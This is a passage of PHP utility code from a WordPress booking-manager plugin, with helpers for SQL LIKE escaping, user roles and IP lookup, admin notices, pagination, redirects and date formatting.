require minimum WP 4.0.0 else return addcslashes( $value_trimmed, '_%\\' ); // Direct implementation from $wpdb->esc_like( } /** Clean user string for using in SQL LIKE statement - append to LIKE sql * * @param string $value - to clean * @return string - escaped * Exmaple: * $search_escaped_like_title = wpbm_clean_like_string_for_append_in_sql_for_db( $input_var ); * * $where_sql = " WHERE title LIKE ". $search_escaped_like_title ." "; */ function wpbm_clean_like_string_for_append_in_sql_for_db( $value ) { global $wpdb; $value_trimmed = trim( stripslashes( $value ) ); $wild = '%'; $like = $wild . wpbm_esc_like( $value_trimmed ) . $wild; $sql = $wpdb->prepare( "'%s'", $like ); return $sql; /* Help: * First half of escaping for LIKE special characters % and _ before preparing for MySQL. * Use this only before wpdb::prepare() or esc_sql(). Reversing the order is very bad for security. * * Example Prepared Statement: * * $wild = '%'; * $find = 'only 43% of planets'; * $like = $wild . wpbm_esc_like( $find ) . $wild; * $sql = $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE post_content LIKE '%s'", $like ); * * Example Escape Chain: * * $sql = esc_sql( wpbm_esc_like( $input ) ); */ } /** Clean string for using in SQL LIKE requests inside single quotes: WHERE title LIKE '%". $escaped_search_title ."%' * Replaced _ to \_ % to \% \ to \\ * @param string $value - to clean * @return string - escaped * Exmaple: * $search_escaped_like_title = wpbm_clean_like_string_for_db( $input_var ); * * $where_sql = " WHERE title LIKE '%". $search_escaped_like_title ."%' "; * * Important! Use SINGLE quotes after in SQL query: LIKE '%".$data."%' */ function wpbm_clean_like_string_for_db( $value ){ global $wpdb; $value_trimmed = trim( stripslashes( $value ) ); $value_trimmed = wpbm_esc_like( $value_trimmed ); $value = trim( $wpdb->prepare( "'%s'", $value_trimmed ) , "'" ); return $value; /* Help: * First half of escaping for LIKE special characters % and _ before preparing for MySQL. * Use this only before wpdb::prepare() or esc_sql(). Reversing the order is very bad for security. * * Example Prepared Statement: * * $wild = '%'; * $find = 'only 43% of planets'; * $like = $wild . wpbm_esc_like( $find ) . $wild; * $sql = $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE post_content LIKE '%s'", $like ); * * Example Escape Chain: * * $sql = esc_sql( wpbm_esc_like( $input ) ); */ } /** Escape string from SQL for the HTML form field * * @param string $value * @return string * * Used: esc_sql function. * * https://codex.wordpress.org/Function_Reference/esc_sql * Note: Be careful to use this function correctly. It will only escape values to be used in strings in the query. * That is, it only provides escaping for values that will be within quotes in the SQL (as in field = '{$escaped_value}'). * If your value is not going to be within quotes, your code will still be vulnerable to SQL injection. * For example, this is vulnerable, because the escaped value is not surrounded by quotes in the SQL query: * ORDER BY {$escaped_value}. As such, this function does not escape unquoted numeric values, field names, or SQL keywords. * */ function wpbm_clean_string_for_form( $value ){ global $wpdb; $value_trimmed = trim( stripslashes( $value ) ); $esc_sql_value = esc_sql( $value_trimmed ); //$value = trim( $wpdb->prepare( "'%s'", $esc_sql_value ) , "'" ); $esc_sql_value = trim( stripslashes( $esc_sql_value ) ); return $esc_sql_value; } // </editor-fold> // <editor-fold defaultstate="collapsed" desc=" U s e r s " > //////////////////////////////////////////////////////////////////////////////// // U s e r s //////////////////////////////////////////////////////////////////////////////// /** Get ID of active user * * @return type */ function get_wpbm_current_user_id() { $user = wp_get_current_user(); return ( isset( $user->ID ) ? (int) $user->ID : 0 ); } /** Check if Current User have specific Role * * @return bool Whether the current user has the given capability. */ function wpbm_is_current_user_have_this_role( $user_role ) { if ( $user_role == 'administrator' ) $user_role = 'activate_plugins'; if ( $user_role == 'editor' ) $user_role = 'publish_pages'; if ( $user_role == 'author' ) $user_role = 'publish_posts'; if ( $user_role == 'contributor' ) $user_role = 'edit_posts'; if ( $user_role == 'subscriber') $user_role = 'read'; return current_user_can( $user_role ); } function wpbm_get_user_ip() { //return '84.243.195.114' ; // Test //90.36.89.174 if (isset($_SERVER['HTTP_CLIENT_IP'])) { $userIP = $_SERVER['HTTP_CLIENT_IP'] ; } elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $userIP = $_SERVER['HTTP_X_FORWARDED_FOR'] ; } elseif (isset($_SERVER['HTTP_X_FORWARDED'])) { $userIP = $_SERVER['HTTP_X_FORWARDED'] ; } elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) { $userIP = $_SERVER['HTTP_FORWARDED_FOR'] ; } elseif (isset($_SERVER['HTTP_FORWARDED'])) { $userIP = $_SERVER['HTTP_FORWARDED'] ; } elseif (isset($_SERVER['REMOTE_ADDR'])) { $userIP = $_SERVER['REMOTE_ADDR'] ; } else { $userIP = "" ; } $userIP = explode( ',', $userIP ); $userIP = array_map( 'trim', $userIP ); return $userIP[0] ; } add_wpbm_filter( 'wpbm_get_user_ip', 'wpbm_get_user_ip' ); // </editor-fold> // <editor-fold defaultstate="collapsed" desc=" Mesages for Admin panel " > //////////////////////////////////////////////////////////////////////////////// // Mesages for Admin panel //////////////////////////////////////////////////////////////////////////////// function wpbm_show_fixed_message( $message, $time_to_show , $message_type = 'updated' , $notice_id = 0, $is_dismissible = false ) { // Generate unique HTML ID for the message if ( $notice_id == 0 ) $notice_id = intval( time() * rand(10, 100) ); $notice_id = 'wpbm_system_notice_' . $notice_id; $is_dismissible = false; if ( ( ( $is_dismissible ) && ( ! wpbm_section_is_dismissed( $notice_id ) ) ) || ( ! $is_dismissible ) // || true ){ ?><div id="<?php echo $notice_id; ?>" class="wpbm_system_notice wpbm_is_dismissible wpbm_is_hideable <?php echo $message_type; ?>" data-nonce="<?php echo wp_create_nonce( $nonce_name = $notice_id . '_wpbmnonce' ); ?>" data-user-id="<?php echo get_current_user_id(); ?>" ><?php wpbm_x_dismiss_button(); echo $message; ?></div><?php // Get the time of message showing $time_to_show = intval( $time_to_show ) * 1000; if ( $time_to_show > 0 ) { ?> <script type="text/javascript"> jQuery('#<?php echo $notice_id; ?>').animate({opacity: 1},<?php echo $time_to_show; ?>).fadeOut( 2000 ); </script> <?php } } } /** Show Ajax message at the top of page * * @param type $message * @param type $time_to_show * @param type $is_error */ function wpbm_show_ajax_message( $message, $time_to_show = 3000, $is_error = false ) { // Recheck for any "lang" shortcodes for replacing to correct language $message = apply_wpbm_filter('wpbm_check_for_active_language', $message ); // Escape any JavaScript from message $notice = html_entity_decode( esc_js( $message ) ,ENT_QUOTES) ; ?><script type="text/javascript"> var my_message = '<?php echo $notice; ?>'; wpbm_admin_show_message( my_message, '<?php echo ( $is_error ? 'error' : 'success' ); ?>', <?php echo $time_to_show; ?> ); </script><?php } /** Show "Saved Changes" message at the top of settings page. * */ function wpbm_show_changes_saved_message() { wpbm_show_message ( __('Changes saved.', 'booking-manager'), 5 ); } /** Show Message at Top of Admin Pages * * @param type $message - mesage to show * @param type $time_to_show - number of seconds to show, if 0 or skiped, then unlimited time. * @param type $message_type - Default: updated { updated | error | notice } */ function wpbm_show_message ( $message, $time_to_show , $message_type = 'updated') { // Generate unique HTML ID for the message $inner_message_id = intval( time() * rand(10, 100) ); // Get formated HTML message $notice = wpbm_get_formated_message( $message, $message_type, $inner_message_id ); // Get the time of message showing $time_to_show = intval( $time_to_show ) * 1000; // Show this Message ?> <script type="text/javascript"> if ( jQuery('.wpbm_admin_message').length ) { jQuery('.wpbm_admin_message').append( '<?php echo $notice; ?>' ); <?php if ( $time_to_show > 0 ) { ?> jQuery('#wpbm_inner_message_<?php echo $inner_message_id; ?>').animate({opacity: 1},<?php echo $time_to_show; ?>).fadeOut( 2000 ); <?php } ?> } </script> <?php } /** Escape and prepare message to show it * * @param type $message - message * @param type $message_type - Default: updated { updated | error | notice } * @param string $inner_message_id - ID of message DIV, can be skipped * @return string */ function wpbm_get_formated_message ( $message, $message_type = 'updated', $inner_message_id = '') { // Recheck for any "lang" shortcodes for replacing to correct language $message = apply_wpbm_filter('wpbm_check_for_active_language', $message ); // Escape any JavaScript from message $notice = html_entity_decode( esc_js( $message ) ,ENT_QUOTES) ; $notice .= '<a class="close tooltip_left" rel="tooltip" title="'. esc_js(__("Hide", 'booking-manager')). '" data-dismiss="alert" href="javascript:void(0)" onclick="javascript:jQuery(this).parent().hide();">×</a>'; if (! empty( $inner_message_id )) $inner_message_id = 'id="wpbm_inner_message_'. $inner_message_id .'"'; $notice = '<div '.$inner_message_id.' class="wpbm_inner_message '. $message_type . '">' . $notice . '</div>'; return $notice; } /** Show system info in settings page * * @param string $message ... * @param string $message_type 'info' | 'warning' | 'error' * @param string $title __('Important!' , 'booking-manager') | __('Note' , 'booking-manager') * * Exmaple: wpbm_show_message_in_settings( __( 'Nothing Found', 'booking-manager'), 'warning', __('Important!' , 'booking-manager') ); */ function wpbm_show_message_in_settings( $message, $message_type = 'info', $title = '' , $is_echo = true ) { $message_content = ''; $message_content .= '<div class="clear"></div>'; $message_content .= '<div class="wpbm-settings-notice notice-' . $message_type . '" style="text-align:left;">'; if ( ! empty( $title ) ) $message_content .= '<strong>' . esc_js( $title ) . '</strong> '; $message_content .= html_entity_decode( esc_js( $message ) ,ENT_QUOTES) ; $message_content .= '</div>'; $message_content .= '<div class="clear"></div>'; if ( $is_echo ) echo $message_content; else return $message_content; } // </editor-fold> // <editor-fold defaultstate="collapsed" desc=" Settings Meta Boxes " > //////////////////////////////////////////////////////////////////////////////// // Settings Meta Boxes //////////////////////////////////////////////////////////////////////////////// function wpbm_open_meta_box_section( $metabox_id, $title ) { $my_close_open_win_id = $metabox_id . '_metabox'; //FixIn: 2.0.16.1 ?> <div class='meta-box'> <div id="<?php echo $my_close_open_win_id; ?>" class="postbox <?php if ( '1' == get_user_option( 'wpbm_win_' . $my_close_open_win_id ) ) echo 'closed'; ?>" ><div class="postbox-header" style="display: flex;flex-flow: row nowrap;border-bottom: 1px solid #ccd0d4;"><?php //FixIn: 8.7.8.1 ?> <h3 class='hndle' style="flex: 1 1 auto;border: none;"> <span><?php echo wp_kses_post( $title ); ?></span> </h3> <div title="<?php _e('Click to toggle','booking-manager'); ?>" class="handlediv" onclick="javascript:wpbm_verify_window_opening(<?php echo get_wpbm_current_user_id(); ?>, '<?php echo $my_close_open_win_id; ?>');" ><br/></div> </div> <div class="inside"> <?php } function wpbm_close_meta_box_section() { ?> </div> </div> </div> <?php } // </editor-fold> // from Toolbar // <editor-fold defaultstate="collapsed" desc=" M o d a l s " > //////////////////////////////////////////////////////////////////////////////// // M o d a l s //////////////////////////////////////////////////////////////////////////////// /** Start Loyouts - Modal Window structure */ function wpbm_write_content_for_modals_start_here() { ?><span id="wpbm_content_for_modals"></span><?php } add_wpbm_action( 'wpbm_write_content_for_modals', 'wpbm_write_content_for_modals_start_here'); // </editor-fold> // <editor-fold defaultstate="collapsed" desc=" Inline JavaScript " > //////////////////////////////////////////////////////////////////////////////// // Inline J a v a S c r i p t to Footer page //////////////////////////////////////////////////////////////////////////////// /** * Queue JavaScript for later output at footer * * @param string $code */ function wpbm_enqueue_js( $code ) { global $wpbm_queued_js; if ( empty( $wpbm_queued_js ) ) { $wpbm_queued_js = ''; } $wpbm_queued_js .= "\n" . $code . "\n"; } /** * Output any queued javascript code in the footer. */ function wpbm_print_js() { global $wpbm_queued_js; if ( ! empty( $wpbm_queued_js ) ) { echo "<!-- WPBM JavaScript -->\n<script type=\"text/javascript\">\njQuery(function($) {"; $wpbm_queued_js = wp_check_invalid_utf8( $wpbm_queued_js ); $wpbm_queued_js = wp_specialchars_decode( $wpbm_queued_js , ENT_COMPAT); // Converts double quotes '"' => '"' $wpbm_queued_js = preg_replace( '/&#(x)?0*(?(1)27|39);?/i', "'", $wpbm_queued_js ); $wpbm_queued_js = str_replace( "\r", '', $wpbm_queued_js ); echo $wpbm_queued_js . "});\n</script>\n<!-- End WPBM JavaScript -->\n"; $wpbm_queued_js = ''; unset( $wpbm_queued_js ); } } // </editor-fold> // from Toolbar // <editor-fold defaultstate="collapsed" desc=" JS & CSS - Tooltips & Popover" > //////////////////////////////////////////////////////////////////////////////// // JS & CSS //////////////////////////////////////////////////////////////////////////////// /** Load suport JavaScript for "Items" page*/ function wpbm_js_for_items_page() { $is_use_hints = get_wpbm_option( 'wpbm_is_use_hints_at_admin_panel' ); if ( $is_use_hints == 'On' ) wpbm_bs_javascript_tooltips(); // JS Tooltips wpbm_bs_javascript_popover(); // JS Popover //wpbm_datepicker_js(); // JS Datepicker wpbm_datepicker_css(); // CSS DatePicker } /** Datepicker activation JavaScript */ function wpbm_datepicker_js() { ?><script type="text/javascript"> jQuery(document).ready( function(){ function applyCSStoDays( date ){ return [true, 'date_available']; } jQuery('input.wpbm-filters-section-calendar').datepick( { beforeShowDay: applyCSStoDays, showOn: 'focus', multiSelect: 0, numberOfMonths: 1, stepMonths: 1, prevText: '«', nextText: '»', dateFormat: 'yy-mm-dd', changeMonth: false, changeYear: false, minDate: null, maxDate: null, //'1Y', showStatus: false, multiSeparator: ', ', closeAtTop: false, // firstDay:<?php //echo get_wpbm_option( 'wpbm_start_day_weeek' ); ?>, gotoCurrent: false, hideIfNoPrevNext:true, useThemeRoller :false, mandatory: true } ); }); </script><?php } /** Support CSS - datepick, etc... */ function wpbm_datepicker_css(){ ?> <style type="text/css"> #datepick-div .datepick-header { width: 172px !important; } #datepick-div { -border-radius: 3px; -box-shadow: 0 0 2px #888888; -webkit-border-radius: 3px; -webkit-box-shadow: 0 0 2px #888888; -moz-border-radius: 3px; -moz-box-shadow: 0 0 2px #888888; width: 172px !important; } #datepick-div .datepick .datepick-days-cell a{ font-size: 12px; } #datepick-div table.datepick tr td { border-top: 0 none !important; line-height: 24px; padding: 0 !important; width: 24px; } #datepick-div .datepick-control { font-size: 10px; text-align: center; } #datepick-div .datepick-one-month { height: auto; } </style> <?php } /** Sortable Table JavaScript */ function wpbm_sortable_js() { ?> <script type="text/javascript"> // Activate Sortable Functionality jQuery( document ).ready(function(){ jQuery('.wpbm_input_table tbody th').css('cursor','move'); jQuery('.wpbm_input_table tbody td.sort').css('cursor','move'); jQuery('.wpbm_input_table.sortable tbody').sortable({ items:'tr', cursor:'move', axis:'y', scrollSensitivity:40, forcePlaceholderSize: true, helper: 'clone', opacity: 0.65, placeholder: '.wpbm_sortable_table .sort', start:function(event,ui){ ui.item.css('background-color','#f6f6f6'); }, stop:function(event,ui){ ui.item.removeAttr('style'); } }); }); </script> <?php } // </editor-fold> // <editor-fold defaultstate="collapsed" desc=" R e l o a d p a g e " > //////////////////////////////////////////////////////////////////////////////// // R e l o a d p a g e //////////////////////////////////////////////////////////////////////////////// /** * Reload page by using JavaScript * * @param string $url - URL of page to load */ function wpbm_reload_page_by_js( $url ) { $redir = html_entity_decode( esc_url( $url ) ); if ( ! empty( $redir ) ) { ?> <script type="text/javascript"> window.location.href = '<?php echo $redir ?>'; </script> <?php } } /** Redirect browser to a specific page * * @param string $url - URL of page to redirect */ function wpbm_redirect( $url ) { $url = wpbm_make_link_absolute( $url ); $url = html_entity_decode( esc_url( $url ) ); echo '<script type="text/javascript">'; echo 'window.location.href="'.$url.'";'; echo '</script>'; echo '<noscript>'; echo '<meta http-equiv="refresh" content="0;url='.$url.'" />'; echo '</noscript>'; } // </editor-fold> // <editor-fold defaultstate="collapsed" desc=" P a g i n a t i o n o f T a b l e L i s t i n g " > /** Show P a g i n a t i o n * * @param int $summ_number_of_items - total number of items * @param int $active_page_num - number of activated page * @param int $num_items_per_page - number of items per page * @param array $only_these_parameters - array of keys to exclude from links * @param string $url_sufix - usefule for anchor to HTML section with specific ID, Example: '#my_section' */ function wpbm_show_pagination( $summ_number_of_items, $active_page_num, $num_items_per_page , $only_these_parameters = false, $url_sufix = '' ) { if ( empty( $num_items_per_page ) ) { $num_items_per_page = '10'; } $pages_number = ceil( $summ_number_of_items / $num_items_per_page ); if ( $pages_number < 2 ) return; //Fix: 5.1.4 - Just in case we are having tooo much resources, then we need to show all resources - and its empty string if ( ( isset($_REQUEST['wh_wpbm_type'] ) ) && ( strlen($_REQUEST['wh_wpbm_type']) > 1000 ) ) { $_REQUEST['wh_wpbm_type'] = ''; } // First parameter will overwriten by $_GET['page'] parameter $bk_admin_url = wpbm_get_params_in_url( wpbm_get_master_url( false ), array('page_num'), $only_these_parameters ); ?> <span class="wpdevelop wpbm-pagination"> <div class="container-fluid"> <div class="row"> <div class="col-sm-12 text-center control-group0"> <nav class="btn-toolbar"> <div class="btn-group wpbm-no-margin" style="float:none;"> <?php if ( $pages_number > 1 ) { ?> <a class="button button-secondary <?php echo ( $active_page_num == 1 ) ? ' disabled' : ''; ?>" href="<?php echo $bk_admin_url; ?>&page_num=<?php if ($active_page_num == 1) { echo $active_page_num; } else { echo ($active_page_num-1); } echo $url_sufix; ?>"> <?php _e('Prev', 'booking-manager'); ?> </a> <?php } /** Number visible pages (links) that linked to active page, other pages skipped by "..." */ $num_closed_steps = 3; for ( $pg_num = 1; $pg_num <= $pages_number; $pg_num++ ) { if ( ! ( ( $pages_number > ( $num_closed_steps * 4) ) && ( $pg_num > $num_closed_steps ) && ( ( $pages_number - $pg_num + 1 ) > $num_closed_steps ) && ( abs( $active_page_num - $pg_num ) > $num_closed_steps ) ) ) { ?> <a class="button button-secondary <?php if ($pg_num == $active_page_num ) echo ' active'; ?>" href="<?php echo $bk_admin_url; ?>&page_num=<?php echo $pg_num; echo $url_sufix; ?>"> <?php echo $pg_num; ?> </a><?php if ( ( $pages_number > ( $num_closed_steps * 4) ) && ( ($pg_num+1) > $num_closed_steps ) && ( ( $pages_number - ( $pg_num + 1 ) ) > $num_closed_steps ) && ( abs($active_page_num - ( $pg_num + 1 ) ) > $num_closed_steps ) ) { echo ' <a class="button button-secondary disabled" href="javascript:void(0);">...</a> '; } } } if ( $pages_number > 1 ) { ?> <a class="button button-secondary <?php echo ( $active_page_num == $pages_number ) ? ' disabled' : ''; ?>" href="<?php echo $bk_admin_url; ?>&page_num=<?php if ($active_page_num == $pages_number) { echo $active_page_num; } else { echo ($active_page_num+1); } echo $url_sufix; ?>"> <?php _e('Next', 'booking-manager'); ?> </a> <?php } ?> </div> </nav> </div> </div> </div> </span> <?php } // </editor-fold> // <editor-fold defaultstate="collapsed" desc=" D a t e s " > //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Dates Format //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// /** Get Formated Date & time * * @param string $date_sql - 2017-07-31 00:00:00 || 2017-07-31 * @param string $date_format - Optional. - "m / d / Y, D H:i:s" * @param string $seperator - Optional. - " " * @return string - July 29, 2014 12:00 am */ function wpbm_get_date_time_formatted( $date_sql, $date_format = false, $seperator = ' ', $skip_midnight_time = false ) { $return_date = wpbm_get_date_formatted( $date_sql, $date_format ); $return_time = wpbm_get_time_formatted( $date_sql, $date_format, $skip_midnight_time ); if ( ! empty( $return_time ) ) $return_date .= $seperator . $return_time; return $return_date; } /** Get Formated Date * * @param string $date_sql - 2017-07-31 00:00:00 || 2017-07-31 * @param string $date_format - Optional. - "m / d / Y, D" * @param bool $skip_midnight_time - Default false - if 00:00:00 then return ''; * @return string - July 29, 2014 */ function wpbm_get_date_formatted( $date_sql, $date_format = false ) { if ( $date_format === false ) $date_format = get_wpbm_option( 'wpbm_date_format' ); if ( empty( $date_format ) ) $date_format = "m / d / Y, D"; $formated_date = date_i18n( $date_format, strtotime( $date_sql ) ); return $formated_date; } /** Get Formated Date & time * * @param string $date_sql - 2017-07-31 00:00:00 || 2017-07-31 * @param string $time_format - Optional. - "H:i:s" * @return string - 12:00 am */ function wpbm_get_time_formatted( $date_sql, $time_format = false , $skip_midnight_time = false ) { if ( ( $skip_midnight_time ) && ( '00:00:00' == substr( $date_sql, -8 ) ) ) return ''; if ( $time_format === false ) $time_format = get_wpbm_option( 'wpbm_time_format' ); if ( empty( $time_format ) ) $time_format = 'h:i a'; $formated_date = date_i18n( $time_format, strtotime( $date_sql ) ); return $formated_date; } /** Check if "current_day" is tomorrow from "next_day" * * @param string $current_day_sql_check : 2015-02-29 00:00:00 * @param string $next_day_sql_check : 2015-02-30 00:00:00 * @return boolean : true | false */ function wpbm_is_next_day( $current_day_sql_check, $next_day_sql_check ) { // Current day $current_day_unix = strtotime( $current_day_sql_check ); $current_day_midnight_sql = date_i18n( 'Y-m-d', $current_day_unix ); $current_day_midnight_unix = strtotime( $current_day_midnight_sql ); $calc_next_day_unix = strtotime( '+1 day', $current_day_midnight_unix ); // Next day $next_day_unix = strtotime( $next_day_sql_check ); $next_day_midnight_sql = date_i18n( 'Y-m-d', $next_day_unix ); $next_day_midnight_unix = strtotime( $next_day_midnight_sql ); if ( $calc_next_day_unix == $next_day_midnight_unix ) return true; else return false; } /** Check if "current_day" is same day of "other_day" * * @param string $current_day_sql_check : 2015-02-29 00:00:00 * @param string $other_day_sql_check : 2015-02-30 00:00:00 * @return boolean : true | false */ function wpbm_is_this_same_day( $current_day_sql_check, $other_day_sql_check ) { // Current day $current_day_unix = strtotime( $current_day_sql_check ); $current_day_midnight_sql = date_i18n( 'Y-m-d', $current_day_unix ); $current_day_midnight_unix = strtotime( $current_day_midnight_sql ); // Other day $other_day_unix = strtotime( $other_day_sql_check ); $other_day_midnight_sql = date_i18n( 'Y-m-d', $other_day_unix ); $other_day_midnight_unix = strtotime( $other_day_midnight_sql ); if ( $current_day_midnight_unix == $other_day_midnight_unix ) return true; else return false; } /** Get days in short format view * * @param string $days Dates: 15.05.2015, 16.05.2015, 17.05.2015 * @return string Dates in format: 15.05.2015 - 17.05.2015 */ function wpbm_get_dates_short_format( $dates_sql_csv ) { // $days - string with comma seperated dates if ( empty( $dates_sql_csv ) ) return ''; $days = explode( ',', $dates_sql_csv ); $previosday = false; $result_string = ''; $last_show_day = ''; foreach ( $days as $day ) { $is_fin_at_end = false; if ( $previosday === false ) { // First Day $result_string = wpbm_get_date_time_formatted( $day, false, ' ', true ); // echo format for first day $last_show_day = $day; $previosday = $day; // Set previos day for next loop } else { // Not first day if ( wpbm_is_next_day( $previosday, $day ) || wpbm_is_this_same_day( $previosday, $day ) ) { // Check if $day next day from previous $previosday = $day; // Set previos day for next loop $is_fin_at_end = true; } else { if ( $last_show_day !== $previosday ) { // check if previos day was show or no $result_string .= ' - ' . wpbm_get_date_time_formatted( $previosday, false, ' ', true ); // assign in needed format this day } $result_string .= ', ' . wpbm_get_date_time_formatted( $day, false, ' ', true ); // assign in needed format this day $previosday = $day; // Set previos day for next loop $last_show_day = $day; } } } if ( $is_fin_at_end ) { $result_string .= ' - ' . wpbm_get_date_time_formatted( $day, false, ' ', true ); } return $result_string; } // </editor-fold>